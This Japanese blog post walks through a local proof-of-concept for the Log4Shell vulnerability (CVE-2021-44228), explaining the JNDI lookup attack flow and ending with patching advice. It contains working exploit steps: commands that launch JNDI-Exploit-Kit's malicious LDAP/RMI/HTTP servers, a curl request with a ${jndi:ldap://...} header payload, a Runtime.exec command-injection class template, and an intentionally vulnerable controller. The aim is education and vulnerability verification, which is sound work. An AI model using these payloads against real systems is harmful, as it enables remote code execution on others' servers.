【POC検証】Apache log4j 脆弱性（Log4Shell:CVE-2021-44228）

# 【POC検証】Apache log4j 脆弱性（CVE-2021-44228）

## :black_medium_square: はじめに

2021年12月9日頃～IT業界を騒がせている「Apache log4j 脆弱性（CVE-2021-44228）」なのですが、
各社、確認に追われている方も多いと思っています。
こちらについて、この機会に調べて実際に動きを確かめてみましたので共有と知識整理のために記載します。

- 本記事のまとめスライド

<https://www.slideshare.net/tomoakitsutsui/log4j-exploit-poc>

## :black_medium_square: 対象者

- log4jの脆弱性がどんなものなのか知りたい方
- log4jの脆弱性を実際にローカル環境で動かして試してみたい方
- 攻撃手法について簡単に概要を抑えたい方
- log4jの脆弱性についてまとめて、身近な人に共有したいなと思っている方

## :black_medium_square: Apache log4j 脆弱性（Log4Shell:CVE-2021-44228）とは

- 概要
    - 今回の脆弱性は「Log4Shell」と呼ばれていて「別名：CVE-2021-44228」というCVE番号が付与されている脆弱性
    - Javaの主要なロギングフレームワークである「Log4j」で発見されたゼロデイの任意コードが実行できる脆弱性

- 発見時系列
    - 2021年11月24日 Alibabaのクラウドセキュリティチームによって発見、秘密裏にApacheに報告
    - 2021年12月9日に一般に公開

- 影響サービス
    - 全世界のlog4j2の以下バージョンを利用しているサービス
        - Apache Log4j-core 2.15.0より前の2系のバージョン
            - ※補足：Log4jライブラリは1系と2系で別れており、影響があるのは2系の上記バージョンのみ（LookUps機能が1系には存在しないため）

- 影響サービス代表例：マインクラフト
    - 2022/12/10に公開されている
        - （[『マインクラフト』Java版にセキュリティ上の問題が判明。チャットからでも攻撃受ける可能性あり、開発元はパッチ配信(automaton-media)](https://automaton-media.com/articles/newsjp/20211210-185374/)）
        - マインクラフトはJavaで動作しており、ローカルにダウンロードする形で動作している
        - マインクラフト内のチャット機能内にJNDI文字列を送信することで、受信者のローカルで動作しているマインクラフトアプリのlog出力機能を経由して、受信者のローカルPCで任意のコマンドを発行できるという不具合
        - ローカル端末に保存している見られたくないファイルや、パスワードが記載されたファイルを外部に送信するコマンドや、端末自体をシャットダウンさせることも、ファイルを削除させることも可能
            - ▼ 検証されているYoutube動画

https://www.youtube.com/watch?v=7qoPDq41xhQ&t=141s

- 参考
    - [Log4Shell (Wikipedia)](https://ja.wikipedia.org/wiki/Log4Shell)
    - [CVEとは(JPNIC)](https://www.nic.ad.jp/ja/basics/terms/cve.html)
    - [Apache Log4jの任意のコード実行の脆弱性（CVE-2021-44228）に関する注意喚起(JPCERT)](https://www.jpcert.or.jp/at/2021/at210050.html)

## :black_medium_square: 問題事象について

- 攻撃手法について
    - 今回悪用されたのはLog4jに備わっているLookups機能
    - Lookups機能の中の１つであるJNDI Lookup機能により攻撃者により任意のコマンドを実行される可能性がある
    - [Apache Log4j Lookups / Jndi Lookup](https://logging.apache.org/log4j/2.x/manual/lookups.html)

- 悪用全体図：パターン①
    - HTTPリクエスト：クライアント＞脆弱性ありサーバ
    - LDAP通信：脆弱性ありサーバ＞悪意のあるLDAPサーバ　→ 悪意のあるWebサーバに配置しているClassへの参照返却
    - クラス参照通信：脆弱性ありサーバ＞悪意のあるWebサーバ → 悪意のあるWebサーバに配置されたClassのダウンロード
        - :warning: Class内に記載された悪意のあるロジックが実行される

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108839/283dad23-1cc4-c803-d2ba-cd5a5f049443.png)
引用：[Zero-Day Exploit Targeting Popular Java Library Log4j](https://www.govcert.admin.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108839/4a4a6419-41d5-3d44-e9a8-c2c217834e5a.png)
引用：[【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について](https://milestone-of-se.nesuke.com/sv-advanced/sv-security/cve-2021-44228-log4shell-logjam/)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108839/1f2dd879-aa2b-0c65-dc11-ff58dec7b50a.png)
引用：[Apache Log4j に関する解説 1.4版(2021/12/24)](https://www.intellilink.co.jp/-/media/ndil/ndil-jp/column/vulner/2021/121500/ApacheLog4j.pdf)

- 悪用全体図：パターン②　※こちらの検証方法については未確認
    - HTTPリクエスト：クライアント＞脆弱性ありサーバ
    - LDAP通信：脆弱性ありサーバ＞悪意のあるLDAPサーバ　→ 悪意のあるLDAPサーバからBASE64シリアライズされたオブジェクトを返却
        - :warning: 悪意のあるロジックが実行される
    - ※検証には[ysoserial](https://github.com/frohoff/ysoserial)を利用してPayloadとして返却
        - 検証用Githubリポジトリの[README](https://github.com/pimps/JNDI-Exploit-Kit)参照
            - JNDI経由の通信でPayload返却ができるように改良してくれている

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108839/1eee25ce-bba8-7256-b113-e808b451f53b.png)
引用：[Observation of Attacks Targeting Apache Log4j2 RCE Vulnerability (CVE-2021-44228)](https://blogs.jpcert.or.jp/en/2021/12/log4j-cve-2021-44228.html)


- 攻撃痕跡を確認する方法：以下参照
    - [CVE-2021-44228 - 「Apache Log4j」にリモートコード実行（RCE）のゼロデイ脆弱性が存在(Akamai)](https://www.akamai.com/ja/blog/news/CVE-2021-44228-Zero-Day-Vulnerability)

- 参考
    - [Apache Log4jに存在する RCE 脆弱性(CVE-2021-44228)についての検証レポート(NTT DATA)](https://www.intellilink.co.jp/column/vulner/2021/121500.aspx)
    - [【PoCあり】log4jの脆弱性で攻撃される条件と対策を技術的に解説します。CVE-2021-44228](https://at-virtual.net/%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3/%E3%80%90poc%E3%81%82%E3%82%8A%E3%80%91log4j%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A7%E6%94%BB%E6%92%83%E3%81%95%E3%82%8C%E3%82%8B%E6%9D%A1%E4%BB%B6%E3%81%A8%E5%AF%BE%E7%AD%96%E3%82%92%E6%8A%80/)
    - [Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた](https://piyolog.hatenadiary.jp/entry/2021/12/13/045541)

## :black_medium_square: POC 検証

:warning: ローカル環境での検証用としてお使いください。
今回は「悪用全体図：パターン①」で検証しています。

- 検証環境
    - Windows10 home (GitBash上でのコマンド実行)
    - Java JDK8


### :black_small_square: STEP1 悪意のあるLDAP/RMI/WEBサーバ、脆弱性を含むJavaアプリ準備

```bash
# 作業ディレクトリに移動（例）
cd /d/git/java/log4j-vulnarability

# 悪意のあるLDAP/RMI/WEBサーバ
git clone https://github.com/pimps/JNDI-Exploit-Kit.git

# 脆弱性を含むJavaアプリ
git clone https://github.com/tutttuwi/JNDI-Injection-Target-App.git
```
### :black_small_square: STEP2 アプリ起動

- 前提条件：
    - ローカル環境で起動しているセキュリティソフトを一時的に無効化しておくこと
        - ネットワーク攻撃/ボット攻撃への保護機能（IDSなど）が動いていると確認ができない
    - ローカル環境にJavaがインストールされていること

```bash
# 悪意のあるLDAP/RMI/WEBサーバのディレクトリに移動
cd JNDI-Exploit-Kit
# ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す
bash gradlew build
# 悪意のあるサーバの起動 (実行コマンドは calc を指定)
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R 127.0.0.1:1099 -C 'calc'

# 脆弱性を含むJavaアプリディレクトリに移動
cd JNDI-Injection-Target-App
# ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す
bash gradlew build
# 脆弱性を含むJavaアプリ起動 ※補足：システムプロパティ[com.sun.jndi.ldap.object.trustURLCodebase]をtrueにしておく
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1-SNAPSHOT.jar

```

悪意のあるLDAP/RMI/WEBサーバを起動したときの出力ログ

```txt
$ java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R 127.0.0.1:1099 -C 'calc'
       _ _   _ _____ _____      ______            _       _ _          _  ___ _
      | | \ | |  __ \_   _|    |  ____|          | |     (_) |        | |/ (_) |
      | |  \| | |  | || |______| |__  __  ___ __ | | ___  _| |_ ______| ' / _| |_
  _   | | . ` | |  | || |______|  __| \ \/ / '_ \| |/ _ \| | __|______|  < | | __|
 | |__| | |\  | |__| || |_     | |____ >  <| |_) | | (_) | | |_       | . \| | |_
  \____/|_| \_|_____/_____|    |______/_/\_\ .__/|_|\___/|_|\__|      |_|\_\_|\__|
                                           | |
                                           |_|               created by @welk1n
                                                             modified by @pimps

[HTTP_ADDR] >> 127.0.0.1
[RMI_ADDR] >> 127.0.0.1
[LDAP_ADDR] >> 127.0.0.1
[COMMAND] >> calc
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/6bmedd
ldap://127.0.0.1:1389/6bmedd
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/istruy
ldap://127.0.0.1:1389/istruy
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/revkhb
ldap://127.0.0.1:1389/revkhb
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://127.0.0.1:1099/wiruj8
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/1uipbg
ldap://127.0.0.1:1389/1uipbg
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://127.0.0.1:1099/onu2fl

----------------------------Server Log----------------------------
2021-12-26 00:33:55 [JETTYSERVER]>> Listening on 127.0.0.1:9090
2021-12-26 00:33:55 [RMISERVER]  >> Listening on 127.0.0.1:1099
2021-12-26 00:33:56 [LDAPSERVER] >> Listening on 0.0.0.0:1389

```

脆弱性を含むWebアプリを起動したときのログ

```txt
$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1-SNAPSHOT.jar

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.1)

2021-12-26 00:34:01.202  INFO 14700 --- [           main] m.t.J.JndiInjectionTargetAppApplication  : Starting JndiInjectionTargetAppApplication using Java 12.0.2 on DORAEMON with PID 14700 (D:\git\java\log4j-vulnarability\JNDI-Injection-Target-App\build\libs\JNDI-Injection-Target-App-0.0.1-SNAPSHOT.jar started by Tomo in D:\git\java\log4j-vulnarability\JNDI-Injection-Target-App)
2021-12-26 00:34:01.210  INFO 14700 --- [           main] m.t.J.JndiInjectionTargetAppApplication  : No active profile set, falling back to default profiles: default
2021-12-26 00:34:03.356  INFO 14700 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
2021-12-26 00:34:03.382  INFO 14700 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
2021-12-26 00:34:03.382  INFO 14700 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
2021-12-26 00:34:03.384  WARN 14700 --- [           main] o.a.c.c.AprLifecycleListener             : This listener must only be nested within Server elements, but is in [TomcatEmbeddedContext].
2021-12-26 00:34:03.384  INFO 14700 --- [           main] o.a.c.c.AprLifecycleListener             : An older version [1.2.23] of the Apache Tomcat Native library is installed, while Tomcat recommends a minimum version of [1.2.30]
2021-12-26 00:34:03.385  INFO 14700 --- [           main] o.a.c.c.AprLifecycleListener             : Loaded Apache Tomcat Native library [1.2.23] using APR version [1.7.0].
2021-12-26 00:34:03.385  INFO 14700 --- [           main] o.a.c.c.AprLifecycleListener             : APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true], UDS [false].
2021-12-26 00:34:03.386  INFO 14700 --- [           main] o.a.c.c.AprLifecycleListener             : APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
2021-12-26 00:34:03.389  INFO 14700 --- [           main] o.a.c.c.AprLifecycleListener             : OpenSSL successfully initialized [OpenSSL 1.1.1c  28 May 2019]
2021-12-26 00:34:03.451  INFO 14700 --- [           main] o.a.c.c.C.[.[.[/jndi-targetapp]          : Initializing Spring embedded WebApplicationContext
2021-12-26 00:34:03.452  INFO 14700 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 2186 ms
2021-12-26 00:34:03.911  INFO 14700 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path '/jndi-targetapp'
2021-12-26 00:34:03.924  INFO 14700 --- [           main] m.t.J.JndiInjectionTargetAppApplication  : Started JndiInjectionTargetAppApplication in 3.497 seconds (JVM running for 4.602)

```


### :black_small_square: STEP3 脆弱性を含むJavaアプリへリクエストの送信

```bash
# 脆弱性を含むJavaアプリへリクエスト送信
# 形式：curl [localip:port] -H '[HederName]: ${jndi:[TargetEnvironmentURL]}'
curl 127.0.0.1:8080/jndi-targetapp/info -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/istruy}'
# ▶ここでは悪意のあるサーバ起動時に出力された以下のldapサーバのURLを指定
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/istruy
ldap://127.0.0.1:1389/istruy

```

### :black_small_square: 実行キャプチャ

【悪意のあるリクエスト実行前】
![screenshot-01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108839/f7d31d9a-e81c-c774-b798-9570be889af0.png)

【悪意のあるリクエスト実行後】
![screenshot-02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108839/f538fc88-cdbd-9999-6d30-e9c717c66607.png)


## :black_medium_square: 実行処理解説

### :black_small_square: 悪意のあるWebアプリ

- アプリ起動
    - ServerStart.javaのmainメソッド内でJetty/Ldap/Rmiサーバを起動
        - LDAPサーバ：LDAPRefServer.javaのrunメソッドを参照
        - RMIサーバ：RMIRefServer.javaのrunメソッドを参照
        - JETTYサーバ：JettyServer.javaを参照
            - LdapサーバでJettyサーバのURLが返却された際に、脆弱性のあるWebアプリからdoGetメソッドが呼び出され、対象のJavaクラスが返却される
    - Transformers.java
        - src/main/resources/template直下に格納されているクラスファイルに、以下のコードを埋め込み、Jettyサーバで返却できるようにしている

```java
// 埋め込まれるJavaコード（commandには指定されたコマンドが設定される）
	String[] cmd;
	if (java.lang.System.getProperty("os.name").toLowerCase().contains("win")) {
		cmd = new String[] { "cmd.exe", "/C", command };
	} else {
		cmd = new String[] { "/bin/bash", "-c", command };
	}
	try {
		Runtime.getRuntime().exec(cmd);
	} catch (Exception e) {
		e.printStackTrace();
	}
```

```java
// Jettyサーバで返却されるクラスファイルをでデコンパイルしたもの

/****** Transformers.javaで埋め込み前のコード ******/
public class ExecTemplateJDK8 {
  static {
    System.out.println();
  }
}

/****** Transformers.javaで埋め込み後のコード ******/
// static初期化ブロックに該当コードが記述されるので、
public class ExecTemplateJDK8 {
  static {
    String[] arrayOfString;
    if (System.getProperty("os.name").toLowerCase().contains("win")) {
      arrayOfString = new String[] { "cmd.exe", "/C", "calc" };
    } else {
      arrayOfString = new String[] { "/bin/bash", "-c", "calc" };
    } 
    try {
      Runtime.getRuntime().exec(arrayOfString);
    } catch (Exception exception) {
      exception.printStackTrace();
    } 
    System.out.println();
  }
}
```

### :black_small_square: 脆弱性のあるWebアプリ

- 利用するlog4j2ライブラリの設定

```gradle:build.gradle
dependencies {
    //	implementation 'org.springframework.boot:spring-boot-starter-web'
	compileOnly 'org.projectlombok:lombok'
	developmentOnly 'org.springframework.boot:spring-boot-devtools'
	annotationProcessor 'org.projectlombok:lombok'
	testImplementation 'org.springframework.boot:spring-boot-starter-test'
    implementation('org.springframework.boot:spring-boot-starter-web') {
        exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
    }
    // https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core
    //implementation group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.1'
    implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
    // https://mvnrepository.com/artifact/commons-collections/commons-collections
    //implementation group: 'commons-collections', name: 'commons-collections', version: '3.2.1'

}
```

- コントローラーの設定
    - ヘッダー文字列をLog4j2ライブラリでログ出力する
    - ※システムプロパティはSpringBoot起動後に変更できないので設定しても意味がないためコメントアウトで残しています。

```java:JndiController.java
@RestController
@RequestMapping("/")
public class JndiController {

    // static final Logger log = Logger.getLogger("JndiController");
    private static final Logger log = LogManager.getLogger(JndiController.class.getName());

    /**
     * Root Controller
     */
    @GetMapping(value = "info")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) throws Throwable {
        // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // System.setProperty("log4j2.formatMsgNoLookups", "false");
        // System.setProperty("log4j2.enableJndiLookup", "true");

        log.info("##### Request Param");
        log.info("UserAgent: " + apiVersion);
        return "hello world!!";
    }
}
```

## :black_medium_square: 本脆弱性を防ぐには（2021/12/27時点のApacheページより）

- 恒久対応
    - log4j2ライブラリーのバージョンアップ
        - `java8` の場合、`Apache Log4j 2.17.0`を利用する
        - `java7` の場合、`Apache Log4j 2.12.3`を利用する※[java7用に個別対応している](https://logging.apache.org/log4j/log4j-2.12.1/index.html)
        - `java6` の場合、`Apache Log4j 2.3.1`を利用する

- 暫定対応
    - JndiLookup クラスをクラスパスから削除する。
        - `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`

- ※詳細はApacheのページ内で各ライブラリーへのMigrationと暫定手段としてMapPatternの使用、JndiLookupクラスをクラスパスから削除する方法が紹介されています。最新情報はこちらを参照ください。
    - [Apache Log4j Security Vulnerabilities](https://logging.apache.org/log4j/2.x/security.html)


## :black_medium_square: 最後に

本脆弱性の内容と、検証方法について記載しました。
実際に試してみてうまく検証できなかったなどがありましたらコメント頂ければ確認します。
その他、誤っている箇所があればご指摘いただけたら幸いです。

この記事が少しでも脆弱性に対する理解につながったら嬉しいです。